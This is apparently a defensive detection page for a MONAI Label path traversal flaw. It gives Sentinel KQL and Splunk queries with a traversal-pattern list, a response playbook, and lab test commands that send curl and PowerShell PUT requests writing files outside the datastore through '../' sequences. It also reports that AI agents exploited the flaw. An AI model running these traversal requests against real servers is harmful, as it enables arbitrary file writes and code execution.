Skip to content
CVE-2026-133968 Microsoft Sentinel · KQL

Detect MONAI Label Path Traversal (CVE-2026-133968) in Microsoft Sentinel

Detects exploitation of CVE-2026-133968, a critical (CVSS 9.8) path traversal vulnerability (CWE-24) in Project MONAI's MONAI Label medical imaging annotation server. The PUT /datastore/image and PUT /datastore/label endpoints build the destination file path from a caller-controlled image ID and label tag without confining it to the datastore directory. An attacker can supply a crafted relative path to write an uploaded file to an arbitrary location the server process can write to, which can lead to remote code execution (for example by overwriting application code such as sitecustomize.py). Authentication is disabled by default (MONAI_LABEL_AUTH_ENABLE=False), so in the default configuration any client that can reach the server can exploit this. The flaw is in the CISA KEV catalog. Amazon Threat Intelligence reported that autonomous AI agents operated by a China-nexus threat actor found and exploited it to gain root on a university server. Detection focuses on directory-traversal sequences in HTTP request paths and query parameters to MONAI Label datastore endpoints and on files written outside the datastore root. Remediate by upgrading to MONAI Label 0.8.6 or later.

MITRE ATT&CK

Tactic
Initial Access Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-1a3a0a06b1 · https://df00tech.com/detections/CVE-2026-133968 · licence: https://df00tech.com/detections/licence
let traversalPatterns = dynamic(["../", "..\\", "..%2f", "..%2F", "%2e%2e%2f", "%2e%2e/", "..%5c", "%2e%2e%5c", "....//"]);
W3CIISLog
| where csUriStem has_any ("/datastore", "/session")
| extend decodedQuery = url_decode(csUriQuery)
| where csUriStem has_any (traversalPatterns) or csUriQuery has_any (traversalPatterns) or decodedQuery has "../" or decodedQuery has "..\\"
| project TimeGenerated, cIP, csMethod, csUriStem, csUriQuery, decodedQuery, scStatus, sIP, sPort, csUserAgent
| extend AccountCustomEntity = cIP
critical severity high confidence

Flags MONAI Label HTTP requests (via IIS/reverse-proxy logs) whose URI path or query string contains encoded or literal directory-traversal sequences against datastore or session endpoints.

Data Sources

IIS LogsReverse Proxy LogsWeb Server Logs

Required Tables

W3CIISLog

False Positives & Tuning

  • Legitimate datastore operations that embed relative-looking folder names without actual traversal
  • Vulnerability scanners and authorized penetration testing probing the MONAI Label API
  • Automated backup or sync tooling that passes relative paths in API calls

Other platforms for CVE-2026-133968


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 MONAI Label path traversal file write via datastore image endpoint

    Expected signal: Web/proxy access log entry for PUT /datastore/image with a '../' sequence in the image query parameter.

  2. Test 2 MONAI Label path traversal file write via datastore label endpoint

    Expected signal: Access log entry for PUT /datastore/label with %2f-encoded traversal in the query string.

  3. Test 3 MONAI Label traversal probe on Windows host

    Expected signal: IIS/reverse-proxy log entry for the PUT request to /datastore/image with %2f-encoded traversal in the query string.


Response Playbook

Triage

  1. Confirm the targeted host runs MONAI Label and determine the version; versions up to and including 0.8.5 are vulnerable to CVE-2026-133968.
  2. Extract the full decoded URI and query from the alert and identify where the traversal sequence resolves relative to the datastore root.
  3. Determine whether the write succeeded (for example HTTP 200 on a PUT) versus was blocked or errored (400/403/500) to distinguish a successful arbitrary file write from a failed probe.
  4. Review the source IP's full request history to the MONAI Label server for reconnaissance patterns, repeated traversal attempts, and tooling or user-agent signatures consistent with automated exploitation.

Containment

  1. Block the offending source IP at the perimeter or WAF and restrict MONAI Label API exposure to trusted networks or VPN only.
  2. Upgrade MONAI Label to version 0.8.6 or later (fix in PR #1915) or take the service offline until patched if it is internet-exposed.
  3. If arbitrary file write is suspected, isolate the host from the network to prevent webshell deployment or lateral movement.

Evidence Collection

  1. Preserve web server, reverse-proxy and MONAI Label application logs covering the attack window, including full URIs and request methods.
  2. Capture the MONAI Label process file-write telemetry and any files created or modified outside the datastore root (candidate webshells or dropped payloads, for example a modified sitecustomize.py).

Escalation Criteria

  • !Escalate to incident response if a traversal request wrote a file outside the datastore root.
  • !Escalate immediately if evidence shows new executable or script files, a modified sitecustomize.py, or follow-on command execution on the MONAI Label host, consistent with the reported AI-agent takeover activity.

Investigation Guide

Forensic Artifacts

  • >Web/proxy access logs showing traversal URIs on PUT requests to datastore endpoints
  • >MONAI Label application logs referencing datastore file operations with out-of-root paths
  • >New or modified files on the host outside the configured datastore directory (possible written payloads)
  • >Process and filesystem audit records (auditd/Sysmon) of the MONAI Label process writing files outside the datastore root

Tuning Guidance

Baseline legitimate datastore folder naming to exclude benign relative fragments, then tighten to alert on decoded sequences that resolve above the datastore root. If MONAI Label sits behind a reverse proxy, ensure logs capture the pre-normalized URI so encoded traversal (%2e%2e%2f) is visible. Whitelist authorized scanner IP ranges to reduce noise.


Hunting Queries

Surfaces source IPs issuing repeated path-traversal attempts against MONAI Label endpoints, indicating automated enumeration.

Hunting — KQL
kql
// df00tech DF00-1a3a0a06b1 · https://df00tech.com/detections/CVE-2026-133968 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has_any ("/datastore","/session") | extend dq=url_decode(csUriQuery) | where dq has "../" or csUriStem has "../" | summarize count(), make_set(csUriStem) by cIP, bin(TimeGenerated, 1h) | where count_ > 5
Hunting — SPL
spl
``` df00tech DF00-1a3a0a06b1 · https://df00tech.com/detections/CVE-2026-133968 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*/datastore*" OR uri_path="*/session*") | eval d=urldecode(uri_query) | where like(d,"%../%") OR like(uri_path,"%../%") | stats count values(uri_path) as paths by src_ip | where count>5

Atomic Red Team Tests

Test 1 MONAI Label path traversal file write via datastore image endpoint
linux

Simulates an unauthenticated arbitrary file write by uploading a file through the MONAI Label datastore image endpoint using a traversal sequence in the image ID (lab-only against a test instance).

Command

bash
echo poc > /tmp/monai_payload.txt; curl -s -X PUT 'http://127.0.0.1:8000/datastore/image?image=../../../../../../tmp/monai_trav_poc' -F 'file=@/tmp/monai_payload.txt'

Cleanup

bash
rm -f /tmp/monai_payload.txt /tmp/monai_trav_poc*

Expected Telemetry

Web/proxy access log entry for PUT /datastore/image with a '../' sequence in the image query parameter.

Expected Detection

KQL/SPL/EQL web-log rules fire on the traversal sequence in the request to the /datastore endpoint.

Test 2 MONAI Label path traversal file write via datastore label endpoint
linux

Writes a file outside the datastore root through the MONAI Label /datastore/label endpoint using an encoded traversal sequence to validate detection on a second endpoint (lab-only).

Command

bash
echo poc > /tmp/monai_label.txt; curl -s -X PUT 'http://127.0.0.1:8000/datastore/label?image=..%2f..%2f..%2f..%2ftmp%2fmonai_label_poc&tag=final' -F 'label=@/tmp/monai_label.txt'

Cleanup

bash
rm -f /tmp/monai_label.txt /tmp/monai_label_poc*

Expected Telemetry

Access log entry for PUT /datastore/label with %2f-encoded traversal in the query string.

Expected Detection

Traversal-pattern web-log detections match the encoded '../' sequence targeting the /datastore endpoint.

Test 3 MONAI Label traversal probe on Windows host
windows

Uses PowerShell to send an encoded traversal PUT request to a Windows-hosted MONAI Label instance (lab-only).

Command

powershell
powershell -c "Invoke-WebRequest -Method Put -Uri 'http://127.0.0.1:8000/datastore/image?image=..%2f..%2f..%2f..%2fWindows%2fTemp%2fmonai_poc' -InFile $env:TEMP\monai_payload.txt"

Cleanup

powershell
powershell -c "Remove-Item $env:TEMP\monai_payload.txt -ErrorAction SilentlyContinue"

Expected Telemetry

IIS/reverse-proxy log entry for the PUT request to /datastore/image with %2f-encoded traversal in the query string.

Expected Detection

W3CIISLog KQL rule and encoded-traversal detections fire on the %2e%2e / %2f sequence.

Related Detections